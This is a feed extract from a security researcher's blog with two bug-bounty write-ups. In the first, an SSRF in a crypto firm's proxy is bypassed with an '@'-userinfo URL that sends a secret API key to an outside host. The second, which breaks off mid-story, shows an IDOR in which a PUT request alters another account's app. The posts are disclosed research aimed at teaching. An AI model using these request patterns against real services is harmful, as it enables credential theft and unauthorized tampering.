            <description>&lt;p&gt;A &lt;a href=&#34;https://owasp.org/www-community/attacks/Server_Side_Request_Forgery&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;server-side request forgery (SSRF)&lt;/a&gt; is a type of vulnerability
that consists in tricking a server into sending network requests to
unintended hosts.
In some cases (e.g. &lt;a href=&#34;https://scotthelme.co.uk&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Scott Helme&lt;/a&gt;&amp;rsquo;s
&lt;a href=&#34;https://securityheaders.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Security Headers tool&lt;/a&gt;),
allowing users to trigger HTTP requests from some backend to arbitrary hosts
is a feature.
In many other cases, though,
it is a serious security bug that may enable attackers
to wreak havok on the organisation behind the vulnerable server.&lt;/p&gt;
&lt;p&gt;If you research SSRFs on the Web,
you&amp;rsquo;ll likely come across write-ups of cosmic proportions,
detailing how an SSRF enabled some security researchers to&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>A <a href="https://owasp.org/www-community/attacks/Server_Side_Request_Forgery" target="_blank" rel="noopener">server-side request forgery (SSRF)</a> is a type of vulnerability
that consists in tricking a server into sending network requests to
unintended hosts.
In some cases (e.g. <a href="https://scotthelme.co.uk" target="_blank" rel="noopener">Scott Helme</a>&rsquo;s
<a href="https://securityheaders.com/" target="_blank" rel="noopener">Security Headers tool</a>),
allowing users to trigger HTTP requests from some backend to arbitrary hosts
is a feature.
In many other cases, though,
it is a serious security bug that may enable attackers
to wreak havok on the organisation behind the vulnerable server.</p>
<p>If you research SSRFs on the Web,
you&rsquo;ll likely come across write-ups of cosmic proportions,
detailing how an SSRF enabled some security researchers to</p>
<ul>
<li><a href="https://www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal-dns-information/" target="_blank" rel="noopener">scan some internal network</a>,</li>
<li><a href="https://www.youtube.com/watch?v=t5fB6OZsR6c" target="_blank" rel="noopener">coax a server-side PDF generator into including sensitive files</a>,
or</li>
<li><a href="https://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/" target="_blank" rel="noopener">disclose very sensitive AWS cloud metadata</a>,</li>
</ul>
<p>and how those researchers earned sizable bounties as a result.
SSRF hunting can indeed prove very lucrative:
for instance, reports of SSRFs to Verizon&rsquo;s bug-bounty programme have famously
yielded <a href="https://hackerone.com/dawgyg" target="_blank" rel="noopener">multiple 5-figure dollar rewards</a> to veteran hacker
Thomas DeVoss (a.k.a. dawgyg).</p>
<p>Although I&rsquo;m standing on the shoulders of giants,
this post cannot lay claim to such greatness.
You will not acquire mind-blowing new tricks within these lines,
nor will you learn how to masterfully <a href="https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html" target="_blank" rel="noopener">chain four different vulnerabilities to
achieve Critical severity</a>.
This post is a story of modest beginnings,
the story of the first SSRF I found in the wild.</p>
<p>My ambition in writing it is simple:
retrace my steps and document my reasoning at the time, if only for my own sake;
capture my excitement during the hunt and the thrill of the kill;
and, perhaps, arouse newcomers&rsquo; interest in this fascinating class
of vulnerability that is server-side request forgery.
And who knows? They might even make a few bucks out it!</p>
<p>Because I&rsquo;m not at liberty to disclose the name of the target,
I&rsquo;ve had to anonymise quite a few elements in this post.
Here is what I can share with you:
the target was a relatively low-profile altcoin outfit
that runs a public bug-bounty programme, albeit off the main platforms;
after registering on their Web app,
users can create wallets for various cryptocurrencies.</p>
<h2 id="it-all-began-with-an-intriguing-proxy">It all began with an intriguing proxy <a href="#it-all-began-with-an-intriguing-proxy">¶</a></h2>
<p>To facilitate wallet operations,
the app provided users with current exchange rates,
which were periodically refreshed in the UI.
I can&rsquo;t claim I was particularly interested in how the app was getting
those exchange rates, but something caught my attention.
As always when on the hunt for bugs,
I was forcing all my Web traffic through <a href="https://portswigger.net/burp" target="_blank" rel="noopener">Burp</a>.
I casually inspected my Burp history,
and noticed requests of this form:</p>
<pre tabindex="0"><code>https://proxy.example.org/https://pro-api.coinmarketcap.com/v1/cryptocurrency/quotes/latest?symbol=BTC&amp;convert=USD
</code></pre><p>The presence of a URL in the path (as opposed to inside the query string)
of another URL struck me as awkward,
and seemed like a good place for bugs to lurk.</p>
<p>Because I hadn&rsquo;t heard of CoinMarketCap before then,
I had to familiarise myself with the service.
It <a href="https://coinmarketcap.com/about/" target="_blank" rel="noopener">describes itself</a> as</p>
<blockquote>
<p>the world&rsquo;s most-referenced price-tracking website for cryptoassets
in the rapidly growing cryptocurrency space.</p>
</blockquote>
<p>I consulted their <a href="https://coinmarketcap.com/api/documentation/v1/#section/Quick-Start-Guide" target="_blank" rel="noopener">API documentation</a>
where I found confirmation that my target was getting its exchange rates
from CoinMarketCap,
as I quickly chanced upon the <a href="https://coinmarketcap.com/api/documentation/v1/#operation/getV1CryptocurrencyQuotesLatest" target="_blank" rel="noopener">section</a>
describing how to consume their <code>/cryptocurrency/quotes/latest</code> endpoint.
Moreover, the frontend was evidently delegating CoinMarketCap API calls
to the <code>proxy.example.org</code> host.
&ldquo;Why the need for a proxy, though?&rdquo;, I wondered.</p>
<h2 id="the-proxys-role-becomes-clear">The proxy&rsquo;s role becomes clear <a href="#the-proxys-role-becomes-clear">¶</a></h2>
<p>Perusal of the CoinMarketCap API documentation revealed the answer to my
question:</p>
<blockquote>
<p>Making HTTP requests on the client side with JavaScript is currently
prohibited [&hellip;].
This is to protect your API key which should not be visible to users of
your application so your API key is not stolen.
Secure your API Key by routing calls through your own backend service.</p>
</blockquote>
<p>Ok, that made sense to me.
Because consuming the CoinMarketCap API
requires a paid account and an API key that is meant to remain secret,
the target could not simply have queried the API from their frontend:
doing so would have indeed forced the target to disclose their API key
in their client&rsquo;s source code:</p>
<pre tabindex="0"><code>----------  API key   -------------------
|        |-----------&gt;|                 |
|        | (exposed!) | pro-api         |
| client |            |  .coinmarketcap |
|        |            |   .com          |
|        |&lt;-----------|                 |
----------            -------------------
</code></pre><p>Anybody with the knowledge of that API key could then have taken advantage
of the target&rsquo;s paid plan on CoinMarketCap.
Host <code>proxy.example.org</code> was obviously playing the role of the &ldquo;backend service&rdquo;
mentioned in the CoinMarketCap API documentation,
and at least one of its responsibilities was now clear to me:
querying the CoinMarketCap API on behalf of the user agent
but keeping the target&rsquo;s CoinMarketCap API key secret.</p>
<pre tabindex="0"><code>----------          ---------------------  API key  -------------------
|        |---------&gt;|                   |----------&gt;|                 |
|        |          |                   |           | pro-api         |
| client |          | proxy.example.org |           |  .coinmarketcap |
|        |          |                   |           |   .com          |
|        |&lt;---------|                   |&lt;----------|                 |
----------          ---------------------           -------------------
</code></pre><p>In fact, two further observations indicated that
this was the proxy&rsquo;s whole reason for being:</p>
<ol>
<li>My Burp history didn&rsquo;t contain any requests to host <code>proxy.example.org</code>
other than those specific to CoinMarketCap.</li>
<li>Attempts to trick <code>proxy.example.org</code> into sending requests to hosts like
<code>google.com</code> invariably resulted in a disheartening <code>400 Bad Request</code>
response:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">GET</span> /https://google.com <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span>
</span></span><span style="display:flex;"><span>Host<span style="color:#f92672">:</span> <span style="color:#ae81ff">proxy.example.org</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">--snip--</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>HTTP/1.1 400 Bad Request
</span></span><span style="display:flex;"><span>--snip--
</span></span></code></pre></div></li>
</ol>
<p>The proxy endpoint had evidently been designed to only ever send requests to
host <code>pro-api.coinmarketcap.com</code>.
&ldquo;Perhaps I can find a chink in the armour, though&rdquo;, I speculated.</p>
<h2 id="a-surprisingly-easy-bypass">A surprisingly easy bypass <a href="#a-surprisingly-easy-bypass">¶</a></h2>
<p>If I managed to forge a request to a host under my control,
I would likely be able to disclose sensitive information,
including the target&rsquo;s CoinMarketCap API key:</p>
<pre tabindex="0"><code>----------           ---------------------          -------------------
|        |           |                   |          |                 |
|        | malicious |                   |\A        | pro-api         |
| client |----------&gt;| proxy.example.org | \P       |  .coinmarketcap |
|        |  request  |                   |  \I      |   .com          |
|        |           |                   |   \      |                 |
----------           ---------------------    \k    -------------------
                                               \e
                                                \y  ------------------
                                                 `-&gt;|                |
                                                    | attacker-site  |
                                                    |  .com          |
                                                    |                |
                                                    ------------------
</code></pre><p>I ran a few tests, and I soon noticed an interesting behaviour:
whenever I submitted a URL that started with <code>https://pro-api.coinmarketcap.com</code>,
such as <code>https://pro-api.coinmarket.computer</code>,
the proxy would respond with a <code>502 Bad Gateway</code>,
as opposed to a <code>200 OK</code> or a <code>400 Bad Request</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">GET</span> /https://pro-api.coinmarketcap.computer <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span>
</span></span><span style="display:flex;"><span>Host<span style="color:#f92672">:</span> <span style="color:#ae81ff">proxy.example.org</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">--snip--</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>HTTP/1.1 502 Bad Gateway
</span></span><span style="display:flex;"><span>--snip--
</span></span></code></pre></div><p>I interpreted this observable difference in behaviour
as a hint that the proxy was only requiring the user-supplied URL
to have the expected prefix:
it if did, the proxy would oblige and attempt to send a request to
the specified host (<code>pro-api.coinmarketcap.computer</code>, in my earlier example).
To corroborate my intuition, I decided to run another test,
this time specifying the expected host but substituting <code>http</code> for <code>https</code>
as the scheme:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">GET</span> /http://pro-api.coinmarketcap.com <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span>
</span></span><span style="display:flex;"><span>Host<span style="color:#f92672">:</span> <span style="color:#ae81ff">proxy.example.org</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">--snip--</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>HTTP/1.1 400 Bad Request
</span></span><span style="display:flex;"><span>--snip--
</span></span></code></pre></div><p>Very promising!
This suggested to me that bypassing the proxy&rsquo;s incautious URL validation was
indeed possible. Where to begin, though?
Well, as <a href="https://jameskettle.com" target="_blank" rel="noopener">James Kettle (a.k.a. albinowax)</a> <a href="https://portswigger.net/research/cracking-the-lens-targeting-https-hidden-attack-surface" target="_blank" rel="noopener">writes</a>,</p>
<blockquote>
<p>the often overlooked ability to use an <code>@</code> to create a misleading URL is
frequently useful.</p>
</blockquote>
<p>To understand why, you should know that, according to <a href="https://tools.ietf.org/html/rfc3986" target="_blank" rel="noopener">RFC 3986</a>,
the presence of a <code>@</code> character in the <em>authority</em> part of a URL has a very
specific meaning:
it marks the end of the (optional) <code>userinfo</code> part and the beginning of the
<code>host</code> part.
By appending <code>@attacker-site.com</code> to the host part of a URL,
you can often coax an incautious server into sending a request to
<code>attacker-site.com</code> rather than to the originally intended host.
This trick has worked for me time and time again,
and this occasion was no exception.
By issuing the following request,
I was again able to obtain a <code>502 Bad Gateway</code> response from the proxy.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">GET</span> /https://pro-api.coinmarketcap.com@exfil.jub0bs.com <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span>
</span></span><span style="display:flex;"><span>Host<span style="color:#f92672">:</span> <span style="color:#ae81ff">proxy.example.org</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">--snip--</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>HTTP/1.1 502 Bad Gateway
</span></span><span style="display:flex;"><span>--snip--
</span></span></code></pre></div><p>(Note: I could have simply leveraged <a href="https://portswigger.net/burp/documentation/collaborator" target="_blank" rel="noopener">Burp Collaborator</a> here,
but I wasn&rsquo;t aware of that feature at the time.)</p>
<p>Had I managed to trick the proxy into sending a request to my <code>exfil</code> subdomain?
To check this, I deployed a minimal server to <code>exfil.jub0bs.com</code>.
I repeated that last attack and immediately inspected my server&rsquo;s log files.
Waiting for me there was a new log entry about a recent HTTP request.
&ldquo;Success!&rdquo;, I exulted.</p>
<h2 id="through-the-proxy-and-what-i-found-there">Through the proxy and what I found there <a href="#through-the-proxy-and-what-i-found-there">¶</a></h2>
<p>The log entry in question contained some information of secondary importance.
In particular, I learned that my forged request contained the following header,</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)
</span></span></span></code></pre></div><p>which revealed that the proxy was written in Node.js
and used NPM module <a href="https://www.npmjs.com/package/node-fetch" target="_blank" rel="noopener">node-fetch</a> to consume the CoinMarketCap API.
Such information about server-side technology can prove useful to an attacker.
(Note: according to my research,
the presence of &ldquo;1.0&rdquo; in the User-Agent header
is <a href="https://github.com/node-fetch/node-fetch/issues/503" target="_blank" rel="noopener">not a reliable indicator</a>
that version 1.0 of node-fetch is being used by the server.)</p>
<p>Of course, the target&rsquo;s CoinMarketCap API key was the real prize;
and there it was, in a header called <code>X-CMC_PRO_API_KEY</code>.
I fired up <code>curl</code> and sent a <code>GET</code> request to</p>
<pre tabindex="0"><code>https://pro-api.coinmarketcap.com/v1/key/info
</code></pre><p>using the API key I had just stolen from the target.
The response revealed that the target was on
<a href="https://coinmarketcap.com/api/pricing/" target="_blank" rel="noopener">CoinMarketCap&rsquo;s Startup plan</a>,
which imposes some rate limiting and affords a modest amount of daily credit
to subscribers.
A back-of-the-envelope calculation told me that an attacker could exhaust the
target&rsquo;s daily credit in fewer than 12 minutes, thereby depriving the target&rsquo;s
ability to get up-to-date exchange rates for the remainder of the day.</p>
<p>Such an attack,
if launched every day immediately after CoinMarketCap reset credit for the day,
would seriously hamper usability of the target&rsquo;s Web app&rsquo;s:
it could lead users to place trades on the basis of exchange rates stale
by up to almost 24 hours;
this is no laughing matter,
especially when you consider how volatile most cryptocurrencies can be.</p>
<h2 id="resolution">Resolution <a href="#resolution">¶</a></h2>
<p>I reported my findings to the target, and urged them to revoke their
CoinMarketCap API key after they fixed the URL validation of their proxy.</p>
<p>I got a prompt and grateful reply from the target, which eventually rewarded me
in cryptocurrency tokens worth a total of about $1,000 at the time.
I haven&rsquo;t done much with those tokens; they&rsquo;re still sitting in my crypto wallet.
Fortunately,
the token&rsquo;s exchange rate against the Euro has since more than doubled,
which isn&rsquo;t bad at all!</p>
<h2 id="conclusion">Conclusion <a href="#conclusion">¶</a></h2>
<p>If you&rsquo;re a developer, don&rsquo;t treat URL parsing lightly:
it is often critical to security but fraught with peril.
Use a proven URL-parsing library
instead of relying on run-of-the-mill or custom string-processing functions.</p>
<p>If you&rsquo;re a budding hacker, I hope this post spurred your interest in
server-side request forgery.
If you want to dig deeper on the interplay between shoddy URL parsing and SSRF,
you will enjoy the <a href="https://www.youtube.com/watch?v=ds4Gp4xoaeA" target="_blank" rel="noopener">talk</a>
that <a href="https://bsky.app/profile/orange.tw" target="_blank" rel="noopener">Orange Tsai</a> gave at DEF CON 25.
Check it out!</p>
]]></content>
        </item>
        
        <item>
            <title>Chaining an IDOR with a business-logic error to achieve critical impact</title>
            <link>//jub0bs.com/posts/2020-05-26-idor/</link>
            <pubDate>Tue, 26 May 2020 16:00:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2020-05-26-idor/</guid>
            <description>&lt;p&gt;I recently stumbled upon a critical instance of
&lt;a href=&#34;https://owasp.org/www-community/Broken_Access_Control&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;broken-access control&lt;/a&gt;,
and I thought its story would make for an interesting blogpost.
I&amp;rsquo;ve deliberately omitted some details (e.g. irrelevant HTTP headers)
in the interest of simplicity and concision.
Morever, all clues to the identity of the organisation I was hacking
have been expunged from this post, for obvious reasons.&lt;/p&gt;
&lt;h2 id=&#34;a-bit-about-the-target&#34;&gt;A bit about the target &lt;a href=&#34;#a-bit-about-the-target&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The target consists in a service that allows users
to create server-side apps via a Web-based dashboard.
Each app is owned by one and only one account,
and accounts are meant to be completely isolated from one another.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>I recently stumbled upon a critical instance of
<a href="https://owasp.org/www-community/Broken_Access_Control" target="_blank" rel="noopener">broken-access control</a>,
and I thought its story would make for an interesting blogpost.
I&rsquo;ve deliberately omitted some details (e.g. irrelevant HTTP headers)
in the interest of simplicity and concision.
Morever, all clues to the identity of the organisation I was hacking
have been expunged from this post, for obvious reasons.</p>
<h2 id="a-bit-about-the-target">A bit about the target <a href="#a-bit-about-the-target">¶</a></h2>
<p>The target consists in a service that allows users
to create server-side apps via a Web-based dashboard.
Each app is owned by one and only one account,
and accounts are meant to be completely isolated from one another.</p>
<p>Creating an app requires you to choose a title and a URL for it.
Each app is attributed a UUID upon creation.
An app&rsquo;s UUID is public,
as it&rsquo;s meant to be explicitly referenced in its frontend counterpart.</p>
<p>An account can</p>
<ul>
<li>create new apps;</li>
<li>modify the title and URL of an app it owns;</li>
<li>delete an app it owns (an action that cannot be undone).</li>
</ul>
<h2 id="shifting-my-focus-to-access-control">Shifting my focus to access control <a href="#shifting-my-focus-to-access-control">¶</a></h2>
<p>I quickly came across some <em>Low</em> to <em>Medium</em> vulnerabilities,
which I promptly reported.
Nothing to write home about, really.</p>
<p>Because the UI looked sleek and the system well factured overall,
I wasn&rsquo;t sure I would be able to find anything above <em>Medium</em> severity.
That&rsquo;s when I decided to shift my focus to access control.
Perhaps some <a href="https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html" target="_blank" rel="noopener">Insecure Direct Object Reference (IDOR)</a>
had so far eluded me&hellip;</p>
<h2 id="gearing-up-for-idor-hunting">Gearing up for IDOR hunting <a href="#gearing-up-for-idor-hunting">¶</a></h2>
<p>For Web hacking,
I typically exercise the Web app in Firefox
and I proxy all the associated traffic through <a href="https://portswigger.net/burp" target="_blank" rel="noopener">Burp</a>.
I recently added <a href="https://addons.mozilla.org/en-US/firefox/addon/multi-account-containers/" target="_blank" rel="noopener">Firefox Multi-Account Containers</a>
to my bag of tricks for testing access control.
This Firefox add-on is a bit like private windows on steroids:
it allows you to easily switch between sessions
but obviates the need to repeatedly log out as one user and log in as another.
This tool therefore eliminates some of the tedium of manual IDOR hunting,
and I wish I had known about it sooner.
For a good introduction to Firefox Multi-Account Containers,
check out <a href="https://www.youtube.com/watch?v=zeDb9ugIGYs" target="_blank" rel="noopener">Katie&rsquo;s video on the topic</a> (thanks, Katie!).</p>
<p>Like many other security researchers,
I usually create at least two dummy accounts, if possible.
I can then safely check whether poking at the resources owned by one account
while logged in as the other has any effect;
that way, I don&rsquo;t run the risk of interferring with resources owned by
legitimate users of the system.</p>
<p>This engagement was no exception: I created two dummy accounts,
which got attributed IDs 101 and 102.
I decided to use account 101 to play the part of the attacker
and account 102 to play the part of the victim.</p>
<p>I proceeded to create one app in each account,
which got attributed the following UUIDs (simplified for this post):</p>
<ul>
<li><code>10110110-1101-1011-0110-110110110110</code> (owned by account 101, the attacker)</li>
<li><code>10210210-2102-1021-0210-210210210210</code> (owned by account 102, the victim)</li>
</ul>
<h2 id="sequential-account-ids-in-the-url-but-no-idor-there">Sequential account IDs in the URL, but no IDOR there <a href="#sequential-account-ids-in-the-url-but-no-idor-there">¶</a></h2>
<p>In my proxy&rsquo;s history, I noticed that, whenever I would view the app I created
under the attacker&rsquo;s account, the following request would be issued:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">GET /accounts/101/apps/10110110-1101-1011-0110-110110110110
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Host: api.example.org
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Authorization: Bearer &lt;token-valid-for-account-101&gt;
</span></span></span></code></pre></div><p>Something interesting jumped at me straight away:
accounts were identified by sequential integers.
Resources publicly identified by sequential integers
are always of interest to an attacker.
Because sequential IDs are trivial to enumerate,
they can, at the very least,
be exploited to <a href="https://www.youtube.com/watch?v=KDo68Laayh8&amp;t=17m43s" target="_blank" rel="noopener">reveal more business intelligence</a>
than the organisation realises:
external observers can indeed monitor the rate at which new IDs are issued
in order to gauge how much the system is getting exercised
and infer how well the business is doing.</p>
<p>More to the point, finding a vulnerable injection point where sequential IDs
are being used is quite common.
Therefore, I initially attempted to access app resources owned by the victim
while logged in as the attacker:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">GET /accounts/102/apps/10210210-2102-1021-0210-210210210210
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Host: api.example.org
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Authorization: Bearer &lt;token-valid-for-account-101&gt;
</span></span></span></code></pre></div><p>But the response was as you would expect from a secure system:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span> <span style="color:#ae81ff">403</span> <span style="color:#a6e22e">Forbidden</span>
</span></span><span style="display:flex;"><span>Content-Type<span style="color:#f92672">:</span> <span style="color:#ae81ff">application/json; charset=utf-8</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;statusCode&#34;</span>: <span style="color:#ae81ff">403</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;message&#34;</span>: <span style="color:#e6db74">&#34;You do not have permission to perform this request.&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>In other words:</p>
<blockquote>
<p>You shall not pass!</p>
</blockquote>
<p>My hopes to find an IDOR were somewhat dashed,
but I decided to continue my investigation undeterred.</p>
<h2 id="a-suspicious-but-inconclusive-get-response">A suspicious but inconclusive GET response&hellip; <a href="#a-suspicious-but-inconclusive-get-response">¶</a></h2>
<p>After some thinking, I got another idea:
what would happen if I substituted the UUID of the attacker&rsquo;s app
for the UUID of the victim&rsquo;s app in the URL path?
So I tried that:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">GET /accounts/101/apps/10210210-2102-1021-0210-210210210210
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Host: api.example.org
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Authorization: Bearer &lt;token-valid-for-account-101&gt;
</span></span></span></code></pre></div><p>The response puzzled me:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span> <span style="color:#ae81ff">200</span> <span style="color:#a6e22e">OK</span>
</span></span><span style="display:flex;"><span>Content-Type<span style="color:#f92672">:</span> <span style="color:#ae81ff">text/html; charset=utf-8</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>null
</span></span></code></pre></div><p>Why use <code>text/html</code> as content type rather than <code>application/json</code>?
More importantly, why use <code>200</code> as response status code rather than <code>404</code>?
The latter would have been more appropriate than the former:
no app with that UUID existed under account 101, after all.
Perhaps this was just an implementation quirk,
or perhaps I was onto something.</p>
<h2 id="put-me-on-the-right-track">&hellip;PUT me on the right track <a href="#put-me-on-the-right-track">¶</a></h2>
<p>After inspecting my proxy&rsquo;s history, I noticed that modifying the settings
of the attacker&rsquo;s app would issue a request like the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">PUT</span> /accounts/101/apps/10110110-1101-1011-0110-110110110110 <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span>
</span></span><span style="display:flex;"><span>Host<span style="color:#f92672">:</span> <span style="color:#ae81ff">api.example.org</span>
</span></span><span style="display:flex;"><span>Authorization<span style="color:#f92672">:</span> <span style="color:#ae81ff">Bearer &lt;token-valid-for-account-101&gt;</span>
</span></span><span style="display:flex;"><span>Content-Type<span style="color:#f92672">:</span> <span style="color:#ae81ff">application/json</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;title&#34;</span>: <span style="color:#e6db74">&#34;dummy app in account 101&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;url&#34;</span>: <span style="color:#e6db74">&#34;https://jub0bs.com&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Although I couldn&rsquo;t access another account&rsquo;s app, perhaps I could modify it.
I issued the following <code>PUT</code> request in an attempt to modify the victim&rsquo;s app
while logged in as the attacker:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">PUT</span> /accounts/101/apps/10210210-2102-1021-0210-210210210210 <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span>
</span></span><span style="display:flex;"><span>Host<span style="color:#f92672">:</span> <span style="color:#ae81ff">api.example.org</span>
</span></span><span style="display:flex;"><span>Authorization<span style="color:#f92672">:</span> <span style="color:#ae81ff">Bearer &lt;token-valid-for-account-101&gt;</span>
</span></span><span style="display:flex;"><span>Content-Type<span style="color:#f92672">:</span> <span style="color:#ae81ff">application/json</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;title&#34;</span>: <span style="color:#e6db74">&#34;pwned by account 101!&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;url&#34;</span>: <span style="color:#e6db74">&#34;https://evilzone.org&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The response looked promising:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span> <span style="color:#ae81ff">200</span> <span style="color:#a6e22e">OK</span>
</span></span><span style="display:flex;"><span>Content-Type<span style="color:#f92672">:</span> <span style="color:#ae81ff">application/json; charset=utf-8</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;uuid&#34;</span>: <span style="color:#e6db74">&#34;10210210-2102-1021-0210-210210210210&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;title&#34;</span>: <span style="color:#e6db74">&#34;pwned by account 101!&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;url&#34;</span>: <span style="color:#e6db74">&#34;https://evilzone.org&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;isLive&#34;</span>: <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;accountId&#34;</span>: <span style="color:#ae81ff">102</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>I had apparently just changed the title and URL of the victim&rsquo;s app while
logged in as the attacker.
I switched to the victim&rsquo;s session to double-check:
sure enough, after a page refresh,
the attacker&rsquo;s changes were reflected on the victim&rsquo;s dashboard.</p>
<p>The IDOR I so coveted had finally materialised in front of my eyes!
I had just discovered that
any account could change the title and URL of any app in the system.
